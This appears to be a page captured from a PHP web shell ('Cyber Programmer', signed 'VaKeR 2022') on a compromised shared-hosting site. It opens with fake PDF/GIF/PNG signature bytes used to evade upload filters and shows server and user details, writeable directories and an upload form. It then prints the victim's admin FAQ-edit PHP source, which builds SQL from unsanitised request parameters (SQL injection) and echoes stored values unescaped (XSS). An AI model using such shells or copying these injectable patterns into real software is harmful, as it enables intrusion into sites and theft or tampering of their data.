%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_7c8ed5ef/admin/manage_faq/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_7c8ed5ef/admin/manage_faq/edit.php
<?php 
error_reporting(0);
include("../function.php");
if($_SESSION['admin_id']==""){
header('location:../login.php');

}
$service_tbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM admin WHERE admin_id='".$_SESSION['admin_id']."'"));

// Sidebar strat
include('../include/sidebar.php');
// Sidebar wrap
$id=$_REQUEST['id'];

?>

<!-- [ Main Content ] start -->
<section class="pcoded-main-container">
    <div class="pcoded-content">
        <!-- [ breadcrumb ] start -->
        <div class="page-header">
            <div class="page-block">
                <div class="row align-items-center">
                    <div class="col-md-12">
                        <div class="page-header-title">

 <div class="card-header d-flex justify-content-between">
<button class="btn btn-light text-white fw-bold btn-sm btn-round has-ripple"><i class="feather icon-edit"></i>&nbsp;  Update Faq</button>
</div>
                        </div>
                     
                    </div>
                </div>
            </div>
        </div>
        <!-- [ breadcrumb ] end -->
        <!-- [ Main Content ] start -->
        
<div class="row">

<div class="col-md-12">
<div class="card">
<!-- <div class="card-header d-flex justify-content-between">
</div> -->
<div class="card-body">
<?php if(isset($_SESSION['message'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<i class="feather icon-thumbs-up text-success"></i>&nbsp; &nbsp;<strong class="text-dark">'.$_SESSION['message'].'</strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['message']); 
?>

<?php if(isset($_SESSION['img_error'])){
echo '<div class="alert alert-danger alert-dismissible fade show" role="alert">
<i class="feather icon-alert-triangle text-danger"></i>&nbsp; &nbsp;<strong class="text-dark">'.$_SESSION['img_error'].'</strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['img_error']); 
?> 

                      
<form method="POST"  enctype="multipart/form-data" autocomplete="off" > 
<?php
$fetchData=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM faq_tbl WHERE id='".$_REQUEST['id']."'"));

?>
<div class="container">                     
<div class="row"> 

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Title </label>
<input type="text" name="title" class="form-control" value="<?php if($id!=''){ echo $fetchData['title']; }?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Heading</label>
<input type="text" name="heading" class="form-control" value="<?php if($id!=''){ echo $fetchData['heading']; }?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Title1 </label>
<input type="text" name="title1" class="form-control" value="<?php if($id!=''){ echo $fetchData['title1']; }?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description1</label>
<textarea name="description1" class="form-control"><?php if($id!=''){ echo $fetchData['description1']; } ?></textarea>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Title2 </label>
<input type="text" name="title2" class="form-control" value="<?php if($id!=''){ echo $fetchData['title2']; }?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description2</label>
<textarea name="description2" class="form-control"><?php if($id!=''){ echo $fetchData['description2']; } ?></textarea>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Title3 </label>
<input type="text" name="title3" class="form-control" value="<?php if($id!=''){ echo $fetchData['title3']; }?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description3</label>
<textarea name="description3" class="form-control"><?php if($id!=''){ echo $fetchData['description3']; } ?></textarea>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Title4 </label>
<input type="text" name="title4" class="form-control" value="<?php if($id!=''){ echo $fetchData['title4']; }?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description4</label>
<textarea name="description4" class="form-control"><?php if($id!=''){ echo $fetchData['description4']; } ?></textarea>
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="status">Status</label>
<select class="form-select" name="status" required>
<option value="">Please select status</option>
<option value="1" <?=($fetchData['status']==1)?'selected':''?>>Show</option>
<option value="0" <?=($fetchData['status']==0)?'selected':''?>>Hide</option>
</select>
</div>
</div>

<div class="col-md-12">
<div class="form-group">
<button  name="edit" type="submit" class="btn btn-success">Update</button>
<a class="text-white btn btn-secondary" href="show.php?page=faq">Back</a>
</div>
</div> 

                                
</div>                               
                          
</div>

 </form>                      
                                           
</div>
</div>
</div>
            
<!-- [ form-element ] end -->
</div>
<!-- [ Main Content ] end -->
</div>
</section>


    <!-- Required Js -->
<?php include('../include/footer.php'); ?>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>


<?php
if (isset($_POST['edit'])) {

//    $title=$_POST['title'];
//    $title=str_replace("'", "\'", $title);

   $title=$_POST['title'];
   $title=str_replace("'", "\'", $title);

   $heading=$_POST['heading'];
   $heading=str_replace("'","\'",$heading);


   $title1=$_POST['title1'];
   $title1=str_replace("'", "\'", $title1);

   $description1=$_POST['description1'];
   $description1=str_replace("'","\'",$description1);

   $title2=$_POST['title2'];
   $title2=str_replace("'", "\'", $title2);

   $description2=$_POST['description2'];
   $description2=str_replace("'","\'",$description2);

   $title3=$_POST['title3'];
   $title3=str_replace("'", "\'", $title3);

   $description3=$_POST['description3'];
   $description3=str_replace("'","\'",$description3);

   $title4=$_POST['title4'];
   $title4=str_replace("'", "\'", $title4);

   $description4=$_POST['description4'];
   $description4=str_replace("'","\'",$description4);

  

   $status=$_POST['status'];

 



    // Update popular_packages_tbl content
    mysqli_query($conn, "UPDATE `faq_tbl` SET 
    
    `title`='$title',
    `heading`='$heading',
    `title1`='$title1',
    `description1`='$description1',
    `title2`='$title2',
    `description2`='$description2',
    `title3`='$title3',
    `description3`='$description3',
    `title4`='$title4',
    `description4`='$description4',
    `status`='$status' WHERE `id` = '" . $_REQUEST['id'] . "'");


   echo "<script>window.location='show.php?page=faq';</script>";
$_SESSION['message']="Service Updated successfully";
}
?>

VaKeR 2022